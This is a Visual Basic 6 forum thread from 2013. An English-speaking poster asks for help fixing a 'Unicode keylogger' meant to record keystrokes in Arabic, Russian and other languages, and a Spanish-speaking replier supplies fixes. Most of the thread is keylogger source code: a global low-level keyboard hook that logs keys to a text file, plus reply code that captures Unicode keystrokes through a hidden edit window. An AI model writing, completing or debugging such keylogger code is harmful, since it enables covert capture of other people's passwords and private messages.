Visual Basic Foro

Programación => Visual Basic 6 => Mensaje iniciado por: green.pitch en Mayo 01, 2013, 09:17:27 am

Título: Keystroke Mapping Problem
Publicado por: green.pitch en Mayo 01, 2013, 09:17:27 am

Hello,
Sorry I can speak english only.
I am working on a Unicode keylogger to record keylogs of any selected Regional languages like arabics, russian, chinies.etc.
Here is it's source code where I am trying to Mapping Vkey. This code is not showing any error message, but also not recording keylogs in different languages.
It is always recording in english language.

I've asked in other forums also, but nobody is helping me.
Please have a look to the following codes and try to tell me where I am doing mistake in my codes.

Código: [Seleccionar]

Option Explicit
Private Declare Function GetWindowTextLength Lib "user32" Alias "GetWindowTextLengthA" (ByVal hWnd As Long) As Long
Private Declare Function GetForegroundWindow Lib "user32" () As Long
Private Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hWnd As Long, ByVal lpString As String, ByVal cch As Long) As Long
Private Declare Function GetParent Lib "user32" (ByVal hWnd As Long) As Long
Private Declare Function GetWindowThreadProcessId Lib "user32" (ByVal hWnd As Long, lpdwProcessId As Long) As Long

Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Private Declare Function SetWindowsHookEx Lib "user32" Alias "SetWindowsHookExA" (ByVal idHook As Long, ByVal lpfn As Long, ByVal hmod As Long, ByVal dwThreadId As Long) As Long
Private Declare Function UnhookWindowsHookEx Lib "user32" (ByVal hHook As Long) As Long
Private Declare Function CallNextHookEx Lib "user32" (ByVal hHook As Long, ByVal ncode As Long, ByVal wParam As Long, lParam As Any) As Long
Private Declare Function GetKeyboardLayout& Lib "user32" (ByVal dwLayout As Long)
Private Declare Function MapVirtualKeyEx Lib "user32" Alias "MapVirtualKeyExA" (ByVal uCode As Long, ByVal uMapType As Long, ByVal dwhkl As Long) As Long

Public Const WH_KEYBOARD_LL = 13
Private Const HC_ACTION = 0
Private Const HC_NOREMOVE = 3

Public Const VK_LSHIFT = &HA0
Public Const VK_RSHIFT = &HA1
Public Const VK_SHIFT = &H10
Public Type KBDLLHOOKSTRUCT
    vkCode As Long
    scanCode As Long
    flags As Long
    time As Long
    dwExtraInfo As Long
End Type
Private hHook As Long
Public IsHooked As Boolean
Dim mStr As String

Public Sub SetKeyboardHook()
On Error Resume Next
    If IsHooked Then
        DoEvents
    Else
        hHook = SetWindowsHookEx(WH_KEYBOARD_LL, AddressOf LowLevelKeyboardProc, App.hInstance, 0)
        IsHooked = True
        Close #1
        Open App.Path & "\test.txt" For Append As #1
        mStr = Empty
        DoEvents
    End If
End Sub
Public Sub RemoveKeyboardHook()
On Error Resume Next
    UnhookWindowsHookEx hHook
    IsHooked = False
    Print #1, mStr
    Close #1
    DoEvents
End Sub
Public Function COLR(TES As String)
    On Error Resume Next
    mStr = mStr & TES
End Function

Public Function LowLevelKeyboardProc(ByVal uCode As Long, ByVal wParam As Long, lParam As KBDLLHOOKSTRUCT) As Long
On Error GoTo errr
    If uCode >= 0 Then
        Select Case uCode
            Case HC_ACTION
            Debug.Print lParam.vkCode
            If wParam <> 257 Then
Select Case (lParam.vkCode)
                Case 65 To 90
                    Call COLR(ChrW$(MapVirtualKeyEx(lParam.vkCode, 2, GetKeyboardLayout(GetWindowThreadProcessId(GetForegroundWindow, 0)))))
                End Select
            End If
         
Case HC_NOREMOVE
DoEvents
        End Select
    End If
       DoEvents
    LowLevelKeyboardProc = CallNextHookEx(hHook, uCode, wParam, lParam)
errr:
End Function

Thanks !
Regards,

Título: Re:Keystroke Mapping Problem
Publicado por: LeandroA en Mayo 01, 2013, 11:34:25 pm

Hola, realmente no se como pasar el vkCode al caracter unicode correspondiente, intente varias formas, pero sin éxito, pero para que lo tenga en cuenta VB no soporta unicode por lo tanto usted no puede guardar texto unicode utilizando Open File.txt For Append etc ,  deve utiliza FSO (FileSystemObject) o las apis OpenFile WriteFile

aquí un modulo con dichas funciones
http://www.vbforums.com/attachment.php?attachmentid=73148&d=1252875630

por otro lado para resolver su problema de otra forma puede utilizar un truco creando una ventana edit y pasarle los caracteres. (http://leandroascierto.com/blog/keylogger/) claro que deberá utilizar las apis unicode, CreateWindowExW, SendMessageW

Código: [Seleccionar]

hEdit = CreateWindowExW(0, StrPtr("EDIT"), 0, ES_MULTILINE Or ES_AUTOVSCROLL Or ES_AUTOHSCROLL , 0, 0, 0, 0, 0, 0, App.hInstance, 0)
in the hook

Código: [Seleccionar]

                    Case WM_KEYDOWN
                   
                        'para que no bloquee los acentos ´ `
                        If (lParam.vkCode = 222) Or (lParam.vkCode = 186) Then
                            KeyBuff = lParam.vkCode
                        Else
                            If KeyBuff <> 0 Then
                                Call PostMessage(hEdit, WM_IME_KEYDOWN, KeyBuff, 0&)
                                KeyBuff = 0
                            End If
                        Call PostMessage(hEdit, WM_IME_KEYDOWN, lParam.vkCode, 0&)
                        End If
           
                    Case WM_SYSKEYDOWN
                        Call PostMessage(hEdit, WM_IME_KEYDOWN, lParam.vkCode, 0&)


Código: [Seleccionar]

Private Function GetWindowText(ByVal hWnd As Long) As String
    Dim TextLen As Long
    TextLen = SendMessageW(hWnd, WM_GETTEXTLENGTH, 0&, ByVal 0&)
    GetWindowText = String$(TextLen, 0)
    SendMessageW hWnd, WM_GETTEXT, TextLen + 1, ByVal StrPtr(GetWindowText)
End Function